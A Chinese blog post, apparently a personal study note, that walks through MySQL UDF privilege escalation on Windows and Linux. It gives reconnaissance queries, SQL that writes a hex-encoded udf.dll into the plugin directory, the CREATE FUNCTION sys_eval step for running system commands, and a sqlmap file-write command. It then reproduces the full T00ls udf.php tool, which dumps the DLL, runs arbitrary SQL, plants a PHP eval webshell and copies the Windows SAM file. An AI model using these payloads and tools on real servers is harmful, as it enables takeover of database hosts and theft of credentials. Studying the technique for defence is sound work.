msql数据库-udf-提权姿势学习

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CTF

udf 即 用户自定义函数（User Defined Functions），在mysql中指代用户自己定义的函数。用户可以通过这样的方式来拓展数据库的功能，让数据库做到一些不能本地难以做到的功能。

UDF提权条件

无论是win下的mysql服务还是linux下mysql服务，想要进行提权都需要满足以下4个条件：

(1)Mysql版本大于5.1版本，udf.dll/udf.so文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

(2)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数，一般以root账号为佳，具备root账号所具备的权限的其它账号也可以。

(3)可以将udf.dll/udf.so·文件写入到相应目录的权限。

UDF提权过程

1.信息获取

获取数据库版本、数据位置以及插件位置(lib\plugin文件夹)等信息

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select version();//获取数据库版本 
select user();//获取数据库用户 
select @@basedir ;//获取安装目录 
show variables like '%plugins%'; //寻找mysql安装路径

2.在对应``lib\plugin`目录写入dll或so文件

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# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
SELECT 0x7f454c... INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';


# 解码十六进制方式
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
SELECT unhex('7f454c4602...') INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';
写入dll或so文件模版
x32_win

32位 udf.dll 文件写入sql语句：

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SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0a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INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';
X64_win

64位 udf.dll 文件写入sql语句：

1
SELECT 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INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';
X32_linux

32位linux so文件写入模板：

1
SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
X64_linux

64位linux so文件写入模板：

1
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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
目录不存在情况

如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹。

在收集材料时发现win环境下还可以利用NTFS ADS流来创建文件夹的方法：

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select @@basedir; //查找到mysql的目录 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

3.创建自定义函数

使用CREATE FUNCTION来创建 自定义函数

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CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

创建后，我们可以用在``mysql.func`查询是否创建成功。

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select * from mysql.func;

4.调用函数

这里我们定义创建的是sys_eval 函数，若在``mysql.func`查询成功则我们可以调用这个函数来执行系统命令（这个权限是最高系统权限）。使用方法如下：

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mysql > select sys_eval('whoami');

同时，我们在使用后，可以用drop function来删除自定义函数

UDF 脚本工具

这个，是在国光师傅文章里看到的操作。

sqlmap

在有注入点情况下，我们可以直接sqlmap来写入链接库，模板如下：

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sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

UDF.PHP

在内网情况下，无法直连 MySQL 或者 MySQL 不允许外连，这个时候可以用一些网页脚本来辅助，这里找到一个win下的：

Win udf.php:

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<?php
//t00ls...................
session_start();?>
<html>
<head>
<title>T00ls UDF.PHP</title>
<style type="text/css">
input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
</style>
<script type="text/javascript">
function outfile(){
	document.getElementById("sql2").value= unescape("select%20%27%3C%3Fphp%20eval%28%24_POST%5B%5C%27pass%5C%27%5D%29%3F%3E%27%20into%20outfile%20%27d%3A%5C%5Cninty.php%27");
}
function loadfile(){
	document.getElementById("sql2").value = unescape("select%20load_file%28%27c%3A%5C%5Cboot.ini%27%29");
}
</script>
</head>
<body>
<?php
error_reporting(0);
if (isset($_REQUEST['action']))
	$action = $_REQUEST['action'];
else
	$action = 'vConn';
switch ($action) {
	case 'vConn':
		vConn();
		break;
	case 'conn':
		conn();
		break;
	case 'exec':
		execsql();
		break;
	case 'install':
		install();
		break;
	case 'copy':
		cp();
		break;
	case 'cplug':
		cplug();
		break;
	case 'logout':
		logout();
		break;
	case 'func':
		func();
		break;
}
function vConn() {
	echo 'by ninty http://www.t00ls.net/<form action="" method="post"><table><input type="hidden" name="action" value="conn">
<tr><td>ip:</td><td><input type="text" name="host" value="localhost"></td></tr><tr><td>uid:</td><td><input type="text" value="root" name="uid"></td></tr><tr><td>pwd:</td><td><input type="text" name="pwd"></td></tr><tr><td>db:</td><td><input type="text" name="db" value="mysql"></td></tr><tr><td><input type="submit"/></td><td>&nbsp;</td></tr></table></form>';
}
function func(){
	$conn = conn(false);
	mysql_select_db('mysql',$conn);
	mysql_query('CREATE TABLE `func` ( `name` char(64) collate utf8_bin NOT NULL default \'\', `ret` tinyint(1) NOT NULL default \'0\', `dl` char(128) collate utf8_bin NOT NULL default \'\', `type` enum(\'function\',\'aggregate\') character set utf8 NOT NULL, PRIMARY KEY (`name`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=\'User defined functions\'');
	if (mysql_errno($conn) != 0) {
		echo mysql_error() . '<br/>';
	}
	echo 'Create mysql.func success !';
	mysql_close($conn);
}
function conn($close = true) {
	if (isset($_SESSION['host'])) {
		$host = $_SESSION['host'];
		$uid = $_SESSION['uid'];
		$pwd = $_SESSION['pwd'];
		$db = $_SESSION['db'];
	} else {
		$host = $_POST['host'];
		$uid = $_POST['uid'];
		$pwd = $_POST['pwd'];
		$db = $_POST['db'];
	}
	$conn = mysql_connect($host,$uid,$pwd);
	if (!$conn) {
		echo mysql_error().'<br/>';
		vConn();
		exit();
	} 
	mysql_select_db($db,$conn);
	if (mysql_errno($conn) != 0) {
		echo mysql_error().'<br/>';
		vConn();
		exit();
	}
	$_SESSION['host'] = $host;
	$_SESSION['uid'] = $uid;
	$_SESSION['pwd'] = $pwd;
	$_SESSION['db'] = $db;
	//mysql_query('set names utf8');
	showM($conn,$close);
	return $conn;
}
function logout(){
	unset($_SESSION['host']);
	unset($_SESSION['uid']);
	unset($_SESSION['pwd']);
	unset($_SESSION['db']);
	unset($_SESSION['notsame']);
	unset($_SESSION['over51']);
	unset($_SESSION['plugindir']);
	$url = $_SERVER['PHP_SELF']; 
	$filename = end(explode('/',$url));  
	echo '<script>location.href = "'.$filename.'?rn="+Math.random()</script>';
}
function showM(&$conn,$close = true){
	echo '<center><b>t00ls UDF.PHP</b></center>';
	echo '<form action="" method="post"><input type="hidden" name="action" value="logout"><input type="submit" value="Logout"></form>';
	echo '<div style="border:solid 1px #333;background-color:#999;padding:4px">';
	$sql = 'select concat(\'<b>user()</b>:\',user()) as m union select concat(\'<b>database():</b>\',database()) union select concat(\'<b>datadir</b>:\',@@datadir) union select concat(\'<b>basedir</b>:\',@@basedir) union select concat(\'<b>version()</b>:\',version()) ;';
	$meta = mysql_query($sql,$conn);
	$tmp = 1;
	while ($row = mysql_fetch_array($meta,MYSQL_ASSOC)) {
		echo $row['m'];
		if ($tmp == 1) {
			$tmp = 2;
			$h = substr($row['m'],strpos($row['m'],'@')+1);
			if ($h != 'localhost') {
				echo ' <b><i><font color=green>[web and db is not the same server.]</font></i></b>';
			$_SESSION['notsame'] = 'true';
			}
		}
		echo '<br/>';
	}
	echo '<b>plugin_dir</b>:';
	$meta = mysql_query('show variables like "plugin_dir"');
	if (mysql_num_rows($meta)==0) {
		echo '<font color=white>mysql is under 5.1 , ';
		if (!isset($_SESSION['notsame']))
			echo ' u can dump udf.dll to any directory in follow paths';
		echo '</font>';
	} else {
		//over 5.1
		$_SESSION['over51'] = 'true';
		$row = mysql_fetch_row($meta);
		$_SESSION['plugindir'] = str_replace('\\','\\\\',str_replace('/','\\',$row[1])).'\\\\udf.dll';
		echo '<font color=white>'.str_replace('/','\\',$row[1]).'</font>';
		echo ' (mysql over 5.1, udf.dll can only dump to plugin_dir) ';
		if (isset($_SESSION['notsame'])) 
			echo ' <font><b><i>[maybe dump dll will be failed!]</i></b></font>';
		else {
			if (!file_exists(str_replace('/','\\',$row[1]))) 
				echo ' <a href="?action=cplug&dir='.base64_encode(str_replace('/','\\',$row[1])).'">Create PluginDir</a>';
			else 
				echo ' exists!';
		}
	}
	echo '<br/>';
	if (!isset($_SESSION['notsame']) && !isset($_SESSION['over51']))
		echo '<b>path</b>:<font color=green><b>'.getenv('path').'</b></font><br/>';
 	$meta = mysql_query('select 1,1,1,1 from mysql.user union select * from mysql.func');
	if (mysql_num_rows($meta)==0)
		echo '<b>Mysql.Func</b> : <font color=white><b><i><font color=red>dont exist!</font></i></b></font> must <a href="?action=func">create</a> mysql.func first!';
	else 
		echo '<b>Mysql.Func</b> : <font color=green>exist!</font>';
	echo '<br/>';
	echo '<b>grants</b> : <font color=white>';
	$meta = mysql_query('show grants;',$conn);
	while ($row = mysql_fetch_row($meta)) {
		echo $row[0];
	}
	echo '</font>';
	echo '</div>';
	if ($close)
		mysql_close($conn);
	echo '<br/>';
	if (isset($_POST['path'])) {
		$path = $_POST['path'];
		if (get_magic_quotes_gpc()) 
			$path = stripslashes($path);
	}
	else
		$path = isset($_SESSION['plugindir']) ? $_SESSION['plugindir'] : 'c:\\\\windows\\\\system32\\\\udf.dll';
	echo '<div style="border:solid 1px #333;background-color:#999;padding:4px"><form action="" method="post"><input type="hidden" name="action" value="install"><input type="text" name="path" size="60" value="'.$path.'"> <input type="submit" value="Dump UDF"></form>';
	echo '<form action="" method="post"><input type="hidden" name="action" value="exec"><input type="hidden" name="dump" value="d"><input type="text" name="sql" size="60" value="CREATE FUNCTION shell RETURNS STRING SONAME \'udf.dll\'"> <input type="submit" value="Create Function"></form>';
	echo '<form action="" method="post"><input type="hidden" name="action" value="copy"><input type="text" value="c:\\\\WINDOWS\\\\repair\\\\sam" name="source" size=30>  <input type="text" name="target" size=30> <input type="submit" value="Copy"> <font color=white>please convert \\ to \\\\</font></form></div>';
	if (isset($_POST['sql']))
		$sql = $_POST['sql'];
	else
		$sql = 'select * from mysql.user';
	if (get_magic_quotes_gpc())
		$sql = stripslashes($sql);
	if (isset($_POST['dump']))
		$sql = 'select shell(\'cmd\',\'whoami\')';
	echo '<form action="" method="post"><input type="hidden" name="action" value="exec"><textarea id="sql2" cols="100" rows="5" name="sql">'.$sql.'</textarea><br/><input type="submit" value="Mysql_query"> <input type="button" value="Load_File" onclick="loadfile()"> <input type="button" value="Into OutFile" onclick="outfile()"></form>';
}
function cplug(){
	$path = $_GET['dir'];
	$path = base64_decode($path);
	$arr = explode('\\',$path);
	$p = '';
	$err = '';
	for ($index = 0,$count = count($arr);$index<$count;$index++) {
		$p .= ($arr[$index] . '\\');
		if (!file_exists($p)) {
			if (!mkdir($p)) {
				$err = 'create '.$p.'failed !';
				break;
			}
		}
	}
	conn();
	if ($err != '')
		exit($err);
	if (file_exists($path))
		echo 'plugin_dir create success !';
	else
		echo 'plugin_dir create failed !';
}
function execsql() {
	$conn = conn(false);
	$sql = $_POST['sql'];
	if (get_magic_quotes_gpc())
		$sql = stripslashes($sql);
	$rs = mysql_query($sql,$conn);
	echo mysql_info($conn);
	if (@mysql_num_rows($rs) > 0) {
		echo '<table border="1">';
		$cols = mysql_num_fields($rs);
		$index = 0;
		echo '<tr>';
		while ($index < $cols) {
			echo '<th>'.mysql_field_name($rs,$index).'</th>';
			$index ++;
		}
		echo '</tr>';
		while ($row = mysql_fetch_row($rs)) {
			$index = 0;
			echo '<tr>';
			while ($index < $cols) {
				echo '<td>';
				echo str_replace(chr(13),'<br/>',htmlspecialchars($row[$index]));
				echo '</td>';
				$index ++;
			}
			echo '</tr>';
 		}
		echo '</table>';
	}
	if (mysql_errno($conn) != 0)
		echo mysql_error();
	mysql_close($conn);
}
function cp(){
	$conn = conn(false);
	$source = $_POST['source'];
	$target = $_POST['target'];
	if (get_magic_quotes_gpc()) {
		$source = stripslashes($source);
		$target = stripslashes($target);
	}
	mysql_query('select unhex(hex(load_file("'.$source.'"))) into dumpfile "'.$target.'"');
	if (mysql_errno($conn) != 0)
		echo mysql_error().'<br/>';
	else
		echo 'done !';
	mysql_close($conn);
}
function install() {
//dump udf.dll
	$conn = conn(false);
	$path = $_POST['path'];
	if (get_magic_quotes_gpc()) 
		$path = stripslashes($path);
	mysql_query('create table udftmp (c blob)');
	if (mysql_errno($conn) != 0) {
		echo mysql_error().'<br/>';
		mysql_query('drop table udftmp');
		mysql_close($conn);
		exit();
	}
	mysql_query('insert into udftmp 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	if (mysql_errno($conn) != 0) {
		echo mysql_error().'<br/>';
		mysql_close($conn);
		exit();
	}
	mysql_query('select c from udftmp into dumpfile "'.$path.'"');
	if (mysql_errno($conn) != 0) {
		echo mysql_error(). '<br/>';
		mysql_query('drop table udftmp');
		mysql_close($conn);
		exit();
	}
	mysql_query('drop table udftmp');
	if (mysql_errno($conn) !=0)
		echo 'Dump DLL Failed.'.mysql_error();
	else
		echo 'Dump DLL Success!';
	mysql_close($conn);
}
?>
</body>
</html>

同时，Navicat MySQL可以处理目标 MySQL 不允许外连，但是可以上传 PHP 脚本情况（展示没到这个软件）

参考文献

https://www.sqlsec.com/2020/11/mysql.html

https://www.51cto.com/article/534004.html

本文标题:msql数据库-udf-提权姿势学习

文章作者:lexsd6

发布时间:2023-09-22, 00:15:19

最后更新:2023-09-22, 00:17:31

原始链接:lexsd6.github.io/2023/09/22/msql%E6%95%B0%E6%8D%AE%E5%BA%93-udf-%E6%8F%90%E6%9D%83%E5%A7%BF%E5%8A%BF%E5%AD%A6%E4%B9%A0/

许可协议: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

文章目录
  1. UDF提权条件
  2. UDF提权过程
    1. 1.信息获取
    2. 2.在对应``lib\plugin`目录写入dll或so文件
      1. 写入dll或so文件模版
        1. x32_win
        2. X64_win
        3. X32_linux
        4. X64_linux
      2. 目录不存在情况
  3. 3.创建自定义函数
  4. 4.调用函数
  • UDF 脚本工具
    1. sqlmap
    2. UDF.PHP
    3. 参考文献
    • |